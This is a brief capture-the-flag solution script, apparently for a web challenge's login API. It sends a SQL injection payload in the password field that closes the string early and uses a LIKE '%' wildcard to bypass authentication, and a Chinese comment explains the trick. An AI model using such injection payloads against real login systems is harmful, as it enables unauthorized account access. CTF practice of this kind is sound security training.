sql

import requests

url = "https://whats-my-password-web.chal.irisc.tf/api/login"

data = {"username":"skar","password":"\" OR (username = \"skat\" AND password LIKE \"%\") OR \""}


response = requests.post(url, json=data)
print(response.text + "\n" + str(response.status_code))

提前闭合就成了,%做通配符